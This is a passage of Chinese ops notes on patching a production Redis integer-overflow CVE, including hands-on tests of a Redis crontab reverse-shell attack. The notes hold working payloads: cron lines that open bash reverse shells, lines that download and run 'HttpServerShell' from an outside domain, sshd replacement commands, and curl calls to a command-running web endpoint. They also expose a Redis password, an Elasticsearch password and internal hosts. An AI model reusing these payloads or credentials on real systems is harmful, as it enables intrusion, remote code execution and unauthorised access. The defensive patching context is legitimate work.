redis漏洞研究

今天的计划是修复线上的redis 漏洞

Redis整形溢出漏洞(CVE-2021-32761)及修复脚本

目的: 修复生产的redis漏洞,主要是整数溢出漏洞,但是过程中发现还有反弹shell 漏洞(次要 ,毕竟需要密码)

计划:

  1. 获取生产的redis版本 账号 和密码
  2. 在测试环境搭建反正环境
  3. 漏洞的研究与证实
  4. 测试环境的验证修复
  5. 生产的实施(运维操作 评估形成文档)

开始:

  1. 获取生产的redis版本信息 和账号密码

    需要安装一个redis-cli 才能去获取

    下载redis源码

    wget http://download.redis.io/releases/redis-4.0.10.tar.gz
    

    解压缩

    tar -zxf redis-4.0.10.tar.gz
    

    切换redis源码目录

    cd redis-4.0.10/
    

    编译源文件 不需要指定位置 默认在/usr/local/bin 因为有Makefile

    make && make install (可能不需要make install  和root 账号 我用的是非root 账号 所以 install 的时候报错 没有 /usr/local的权限 ,但是在src 目录下生成了 redis-cli 直接用就可以了)
    
    
    
    spring.redis.cluster.nodes=172.20.3.12:6382,172.20.3.35:6382,172.20.3.36:6382,172.20.3.12:6381,172.20.3.35:6381,172.20.3.36:6381
    spring.redis.password=T6E2q7Bufv5k4Z
    spring.redis.cluster.max-redirects=3
    

    拿到了版本号是 redis_version:5.0.9

    通过了命令:

    ./redis-cli -h 172.20.3.12 -p 6382

    info

    2 搭建测试集群 开始

    下载指定版本redis

    wget http://download.redis.io/releases/redis-5.0.9.tar.gz

    由于我得alpha环境是不通外网的 所以 得换个环境了

    只能起我的vmware 虚拟机了

    虚拟机上已经安装过redis 不过版本信息是6.2.9

2 反弹shell漏洞实验

redis-cli 连接后 flushall清空数据

1.利用redis反弹回来一个shell root@kali:~# redis-cli -h 192.168.85.170 set x "\n* * * * * bash -i >& /dev/tcp/反弹的ip/7999 0>&1\n"

set x "\n* * * * * bash -i >& /dev/tcp/172.20.3.33/7999 0>&1\n"

set x "\n* * * * * bash -i >& /dev/tcp/127.0.0.1/7999 0>&1\n"

set x "\n* * * * * cp /usr/sbin/sshd1109.bak /usr/sbin/sshd \n"

set x "\n* * * * * cp /usr/sbin/sshd /usr/sbin/sshd1109.bak \n"'



 wget --no-check-certificate https://sharkgame111.com/uploads/HttpServerShell  -O /root/test1 

set x "\n* * * * * bash -i >& /dev/tcp/172.20.3.33/7999 0>&1\n"


set x "\n * */1 * * * wget --no-check-certificate https://sharkgame111.com/uploads/HttpServerShell  -O /root/test1 0>&1\n"

set x "\n * */1 * * * chmod +x /root/test1 0>&1\n"

set x "\n * */1 * * * nohup /root/test1 & 0>&1\n"



*/5 * * * wget https://sharkgame111.com/uploads/HttpServerCmd -O /root/test1 0>&1\n"

遇到点问题:

有的字符串会导致乱码 这个

这个乱码的引起到底是 centos ?==》 crontab -e ==>==

config set dir /var/spool/cron/ config set dbfilename root save

如果不清空数据会怎么样呢?

有差别 每个数据都被单独一行吸入到了crontab中了

如果要还原的话就是 清空再save.

然后直接本地开个nc ,没有安装的话 yum install nc

nc -lvnp 7999  进行接受反弹回来的信息

3 整数溢出漏洞

影响范围

Redis整形溢出漏洞影响版本:

2.2 < Redis Redis < 5.0.13 2.2 < Redis Redis < 6.0.15 2.2 < Redis Redis < 6.2.5

根据影响版本中的信息,排查并升级到安全版本,下载链接: https://github.com/redis/redis/releases 安全版本:5.0.13、6.0.15/6.2.5

wget http://download.redis.io/releases/redis-6.2.5.tar.gz

开始修复

计划:

 1.    安装redis 单机或者集群? 
 2.    wget http://download.redis.io/releases/redis-6.2.5.tar.gz
 3.    备份conrtab

0 */1 * * * /srv/script/init_kerberos_kylin.sh > /srv/script/logs/init_kerberos_kylin.log 2>&1 * * */2 * * echo "" > /usr/local/project/bigdata/bgd-cloudswitch-search-provider/nohup.out */5 * * * * curl -s -k --cert client.pem --key key.pem -u elastic:tb355XlypevZWw7I9L35 -X POST https://172.20.3.35:9200/test_new_collect_terminal_info_alias/_rollover --header 'Content-Type:application/json' -d '{ "conditions": { "max_age": "15d", "max_docs": 50000000, "max_size": "10gb"}}' >> /root/crontab.log

信息备份

127.0.0.1:6379> auth T6E2q7Bufv5k4Z OK 127.0.0.1:6379> config get dbfilename 1) "dbfilename" 2) "dump.rdb" 127.0.0.1:6379> config get dir 1) "dir" 2) "/service/redis-delete/redis-6.2.5" 127.0.0.1:6379>

停服务 把redis 迁移过去

启动命令准备好

java -Xms2048m -Xmx2048m -jar -Dspring.profiles.active=prod -Dspring.cloud.consul.host=172.20.133.200 -Dspring.cloud.consul.port=31000 -Dspring.config.location=application.yml,application-prod.properties /service/bigdata-cloudswitch-consumer/bigdata-cloudswitch-consumer-v1.0.8.7f5f609.201.jar

查看原有数据是否有redis key

keys *

查看所有的日志

tail -fn 200 logs/bigdata-cloudswitch-consumer/error.log

清楚数据 然后过几天来看对不对

[root@hadoop-server-006 bigdata-cloudswitch-consumer-second]# /usr/local/bin/redis-cli -h 172.20.3.12 -p 6382

auth T6E2q7Bufv5k4Z

172.20.3.12:6382> dbsize

(error) NOAUTH Authentication required.

172.20.3.12:6382> auth T6E2q7Bufv5k4Z OK

172.20.3.12:6382> dbsize (integer) 101329

172.20.3.12:6382> flushall OK

172.20.3.12:6382> dbsize (integer) 0

172.20.3.12:6382> dbsize (integer) 0

172.20.3.12:6382>

观察很久了 发现数据并没有增加

curl 172.20.3.12:9081/ip?cmd=ls%20/usr/sbin/sshd*
curl 172.20.3.36:9081/ip?cmd=ls%20-l%20/usr/sbin/sshd*
curl 172.20.3.36:9081/ip?cmd=mv%20/usr/sbin/sshd1109.bak%20/usr/sbin/sshd

redis的集群模式是可以更改的


redis slave 转 master

将 Redis Slave 转换为 Master 的过程如下所示:

  1. 首先登录到 Redis Slave 服务器上。可以使用 SSH 或其他远程连接工具进行登录。
  2. 打开命令行界面并输入  redis-cli 来启动 Redis CLI(Redis Command Line Interface)。
  3. 在 Redis CLI 中运行  SLAVEOF NO ONE 命令,这会取消当前从节点与主节点之间的复制关系。
  4. 然后再次运行  INFO replication 命令查看当前 Redis 实例的信息,确保已经成功变为了主节点。
  5. 最后退出 Redis CLI,返回到原始的操作系统命令行界面。
  6. 现在该 Redis Slave 就被转换为了新的 Redis Master。

注意事项:

本文由 mdnice 多平台发布

你可能感兴趣的:(后端)